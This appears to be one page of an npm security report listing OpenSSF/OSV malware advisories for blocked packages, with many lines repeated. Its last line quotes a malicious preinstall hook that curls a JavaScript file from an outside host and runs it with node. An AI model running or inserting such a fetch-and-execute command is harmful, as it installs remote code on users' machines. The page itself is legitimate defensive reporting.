npm advisory reports, with evidence.
Investigate malicious npm packages reported through OSV and public advisories. Each report identifies the package version, supporting evidence, advisory sources, and current Firewall decision.
Security reports — page 555
Updated 26 Oct 2026, 01:53 UTC. Ordered by latest scan.
OpenSSF/OSV malware advisory MAL-2026-3296 blocks this version. The package ally-badges was found to contain malicious code.
OpenSSF/OSV malware advisory MAL-2026-3296 blocks this version. The package ally-badges was found to contain malicious code.
OpenSSF/OSV malware advisory MAL-2026-3295 blocks this version. The package ally-antivirus was found to contain malicious code.
OpenSSF/OSV malware advisory MAL-2026-3295 blocks this version. The package ally-antivirus was found to contain malicious code.
OpenSSF/OSV malware advisory MAL-2026-3294 blocks this version. The package ally-allowlist was found to contain malicious code.
OpenSSF/OSV malware advisory MAL-2026-3294 blocks this version. The package ally-allowlist was found to contain malicious code.
OpenSSF/OSV malware advisory MAL-2026-3303 blocks this version. The package ally-whitelist was found to contain malicious code.
OpenSSF/OSV malware advisory MAL-2026-3303 blocks this version. The package ally-whitelist was found to contain malicious code.
OpenSSF/OSV malware advisory MAL-2026-4475 blocks this version. aes-decode-runner-pro ships an opaque 326-byte AES-GCM ciphertext (`DEFAULT_FINAL_ENCODED_TEXT` in src/config/defaults.js)...
OpenSSF/OSV malware advisory MAL-2026-4475 blocks this version. aes-decode-runner-pro ships an opaque 326-byte AES-GCM ciphertext (`DEFAULT_FINAL_ENCODED_TEXT` in src/config/defaults.js)...
OpenSSF/OSV malware advisory MAL-2026-4475 blocks this version. aes-decode-runner-pro ships an opaque 326-byte AES-GCM ciphertext (`DEFAULT_FINAL_ENCODED_TEXT` in src/config/defaults.js)...
OpenSSF/OSV malware advisory MAL-2026-4475 blocks this version. aes-decode-runner-pro ships an opaque 326-byte AES-GCM ciphertext (`DEFAULT_FINAL_ENCODED_TEXT` in src/config/defaults.js)...
OpenSSF/OSV malware advisory MAL-2026-4475 blocks this version. aes-decode-runner-pro ships an opaque 326-byte AES-GCM ciphertext (`DEFAULT_FINAL_ENCODED_TEXT` in src/config/defaults.js)...
OpenSSF/OSV malware advisory MAL-2026-4475 blocks this version. aes-decode-runner-pro ships an opaque 326-byte AES-GCM ciphertext (`DEFAULT_FINAL_ENCODED_TEXT` in src/config/defaults.js)...
OpenSSF/OSV malware advisory MAL-2026-4475 blocks this version. aes-decode-runner-pro ships an opaque 326-byte AES-GCM ciphertext (`DEFAULT_FINAL_ENCODED_TEXT` in src/config/defaults.js)...
OpenSSF/OSV malware advisory MAL-2026-4475 blocks this version. aes-decode-runner-pro ships an opaque 326-byte AES-GCM ciphertext (`DEFAULT_FINAL_ENCODED_TEXT` in src/config/defaults.js)...
OpenSSF/OSV malware advisory MAL-2026-4475 blocks this version. aes-decode-runner-pro ships an opaque 326-byte AES-GCM ciphertext (`DEFAULT_FINAL_ENCODED_TEXT` in src/config/defaults.js)...
OpenSSF/OSV malware advisory MAL-2026-4475 blocks this version. aes-decode-runner-pro ships an opaque 326-byte AES-GCM ciphertext (`DEFAULT_FINAL_ENCODED_TEXT` in src/config/defaults.js)...
OpenSSF/OSV malware advisory MAL-2026-6145 blocks this version. The npm package `accordion-animationtiming-authorization` (published by npm user `sproger`, slavatopbuyer@gmail.com) is a d...
OpenSSF/OSV malware advisory MAL-2026-6145 blocks this version. The npm package `accordion-animationtiming-authorization` (published by npm user `sproger`, slavatopbuyer@gmail.com) is a d...
OpenSSF/OSV malware advisory MAL-2026-6146 blocks this version. The npm package `actionbars-infinitescroll-searchbar` (published by npm user `sproger`, slavatopbuyer@gmail.com) is a decep...
OpenSSF/OSV malware advisory MAL-2026-3186 blocks this version. The package ac-sasskit-beta was found to contain malicious code.
OpenSSF/OSV malware advisory MAL-2026-3415 blocks this version. The package ac-sasskit was found to contain malicious code.
OpenSSF/OSV malware advisory MAL-2026-3415 blocks this version. The package ac-sasskit was found to contain malicious code.
OpenSSF/OSV malware advisory MAL-2026-6293 blocks this version. The package's preinstall lifecycle hook in package.json runs `curl https://poc.amanrawat.com/hehe.js -o index.js && node in...